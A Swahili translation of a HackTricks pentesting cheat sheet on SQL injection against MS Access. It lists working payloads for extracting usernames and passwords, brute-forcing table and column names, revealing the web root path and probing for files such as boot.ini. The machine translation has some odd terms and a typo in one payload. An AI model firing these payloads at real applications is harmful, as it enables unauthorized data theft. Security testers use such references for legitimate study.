9.7 KiB
MS Access SQL Injection
Jifunze kuhusu kuhack AWS kutoka mwanzo hadi kuwa shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Uwanja wa Kucheza Mtandaoni
Vizuizi vya DB
Uunganishaji wa Maneno ya String
Uunganishaji wa maneno ya string unawezekana kwa kutumia herufi & (%26)
na + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Maoni
Hakuna maoni katika MS Access, lakini inaonekana niwezekana kuondoa sehemu ya mwisho ya swali na NULL char:
1' union select 1,2 from table%00
Ikiwa hii haifanyi kazi, unaweza daima kurekebisha muundo wa swali:
1' UNION SELECT 1,2 FROM table WHERE ''='
Maswali Yaliyopangwa
Hayasaidiwi.
KIKOMBE
Msimamizi wa KIKOMBE
haujatekelezwa. Walakini, inawezekana kikomo matokeo ya swali la SELECT kwa safu za kwanza N kwa kutumia operator TOP
. TOP
inakubali kama hoja nambari ya kiasi cha safu zitakazorudishwa.
1' UNION SELECT TOP 3 attr FROM table%00
Kama vile TOP, unaweza kutumia LAST
ambayo itapata safu kutoka mwisho.
Maswali ya UNION/Sub queries
Katika SQLi, kawaida utataka kwa namna fulani kutekeleza swali jipya ili kutoa habari kutoka kwenye meza nyingine. MS Access daima inahitaji kwamba katika subqueries au maswali ya ziada, FROM
ionyeshwe.
Kwa hivyo, ikiwa unataka kutekeleza UNION SELECT
au UNION ALL SELECT
au SELECT
kati ya mabano katika hali fulani, daima unahitaji kuonyesha FROM
na jina sahihi la meza.
Kwa hiyo, unahitaji kujua jina sahihi la meza.
-1' UNION SELECT username,password from users%00
Kufunga sawa + Kipande
{% hint style="warning" %} Hii itakuruhusu kuchukua thamani za meza ya sasa bila kuhitaji kujua jina la meza. {% endhint %}
MS Access inaruhusu muundo wa sintaksia kama vile '1'=2='3'='asd'=false
. Kama kawaida, SQL injection itakuwa ndani ya kifungu cha WHERE
tunaweza kutumia hilo.
Fikiria una SQLi katika database ya MS Access na unajua (au umegundua) kuwa jina moja la safu ni username, na hiyo ndiyo uwanja unataka kuchukua. Unaweza kuchunguza majibu tofauti ya programu ya wavuti wakati mbinu ya kufunga sawa inapotumiwa na kuchukua maudhui kwa kutumia boolean injection kwa kutumia kazi ya Mid
kupata vipande.
'=(Mid(username,1,3)='adm')='
Ikiwa unajua jina la meza na kolumu ya kudump, unaweza kutumia mchanganyiko wa Mid
, LAST
, na TOP
ku vuja habari zote kupitia boolean SQLi:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Jisikie huru kuangalia hii katika uwanja wa michezo mtandaoni.
Kuvunja nguvu majina ya Meza
Kwa kutumia mbinu ya kufunga sawa, unaweza pia kuvunja nguvu majina ya meza na kitu kama hiki:
'=(select+top+1+'lala'+from+<table_name>)='
Unaweza pia kutumia njia ya kawaida zaidi:
-1' AND (SELECT TOP 1 <table_name>)%00
Jisikie huru kuangalia hii katika uwanja wa michezo mtandaoni.
- Majina ya meza ya kawaida ya Sqlmap: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Kuna orodha nyingine katika http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Kuvunja nguvu majina ya safu
Unaweza kuvunja nguvu majina ya safu za sasa kwa kutumia mbinu ya kufanana na alama ya usawa na:
'=column_name='
Au kwa kutumia group by:
-1' GROUP BY column_name%00
Au unaweza kuvunja nguvu majina ya safu ya meza tofauti na:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Kudondosha data
Tayari tumeshajadili njia ya kufunga sawa kudondosha data kutoka kwenye meza ya sasa na meza nyingine. Lakini kuna njia nyingine:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
Kwa ufupi, swali linatumia kauli ya "kama-basi" ili kuzindua "200 OK" kwa mafanikio au "500 Internal Error" vinginevyo. Kwa kutumia operator TOP 10, inawezekana kuchagua matokeo kumi ya kwanza. Matumizi ya LAST yanaruhusu kuzingatia tu tuple ya 10. Kwa kutumia operator MID kwenye thamani hiyo, inawezekana kufanya ulinganisho rahisi wa herufi. Kwa kubadilisha kwa usahihi index ya MID na TOP, tunaweza kudump maudhui ya uga wa "jina la mtumiaji" kwa safu zote.
Kulingana na Wakati
Kazi Nyingine za Kuvutia
Mid('admin',1,1)
pata kipande cha herufi kutoka nafasi 1 urefu wa 1 (nafasi ya kwanza ni 1)LEN('1234')
pata urefu wa herufiASC('A')
pata thamani ya ASCII ya herufiCHR(65)
pata herufi kutoka thamani ya ASCIIIIF(1=1,'a','b')
kama basiCOUNT(*)
Hesabu idadi ya vitu
Kuchunguza Meza
Kutoka hapa unaweza kuona swali la kupata majina ya meza:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Hata hivyo, ni kawaida sana kupata SQL Injections ambapo huna ufikiaji wa kusoma meza MSysObjects
.
Upatikanaji wa Mfumo wa Faili
Njia Kamili ya Mizizi ya Diri ya Wavuti
Ujuzi wa njia kamili ya mizizi ya diri ya wavuti unaweza kuwezesha mashambulizi zaidi. Ikiwa makosa ya programu hayajafichwa kabisa, njia ya diri inaweza kufunuliwa kwa kujaribu kuchagua data kutoka kwenye database isiyopo.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access inajibu na ujumbe wa makosa unaotaja njia kamili ya mizizi ya diri ya wavuti.
Uthibitishaji wa Faili
Vector ya shambulio ifuatayo inaweza kutumika ku kutambua uwepo wa faili kwenye mfumo wa faili wa mbali. Ikiwa faili iliyotajwa ipo, MS Access inasababisha ujumbe wa makosa unaoinforma kuwa muundo wa database ni batili:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Njia nyingine ya kutambaza faili ni kwa kutaja kipengee cha database.table. Ikiwa faili iliyotajwa ipo, MS Access inaonyesha ujumbe wa makosa wa muundo wa database.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Kudhani Jina la Faili la .mdb
Jina la faili la database (.mdb) linaweza kutambuliwa kwa kujaribu swali lifuatalo:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Ambapo name[i] ni jina la faili la .mdb na realTable ni meza iliyopo ndani ya database. Ingawa MS Access daima itasababisha ujumbe wa makosa, inawezekana kutofautisha kati ya jina batili la faili na jina halali la faili la .mdb.
Kuvunja Nenosiri la .mdb
Access PassView ni chombo cha bure kinachoweza kutumika kurejesha nenosiri kuu la database ya Microsoft Access 95/97/2000/XP au Jet Database Engine 3.0/4.0.
Marejeo
Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram](https://t.me/peass) au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.